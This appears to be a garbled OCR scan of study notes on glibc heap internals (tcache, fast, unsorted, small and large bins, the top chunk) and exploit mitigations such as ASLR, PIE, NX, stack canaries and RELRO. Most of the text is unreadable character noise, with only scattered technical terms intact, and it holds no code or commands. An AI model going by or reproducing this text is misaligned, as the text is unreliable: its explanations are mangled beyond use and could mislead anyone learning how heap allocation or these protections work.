- BR/NEIXEORISEARR bin FEREEHEMAYZSHR

A LisER IS REIAE.

- SFTERYZA chunk E3FTTAHER, ES%E top

chunk,

3 top chunk BLEHERT, HoECRRI SHITAFR

1S,
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free

- BEAPEEARNchunkEIKAHEIES, &M

(RIADNRLE R FR S,

« BikiEchunk X/NEoiHEEfree chunkiEAtcache

ayE Efast bin, AEENEEANuUsorted bind,

- EEEHERNfreerRBuEF usorted binFHEERYYIIE

18<BAIfree chunk&H, AN A/NIchunk SN
small bingglarge bin/r,

. BRTtcache chunkSfast bin chunk, EEchunkfE

freeflf=5EYIEBIBAYfree chunk&EFH
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RFRIFALE | ASLR

ASLR (Address Space Layout Randomization)
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PIE (Position-Independent Executable)
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The NX bits (the No-eXecute bits)
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The NX bits (the No-eXecute bits)
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Canary
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RFRIFALE | RELRO

RELRO (RELocate Read-Only)
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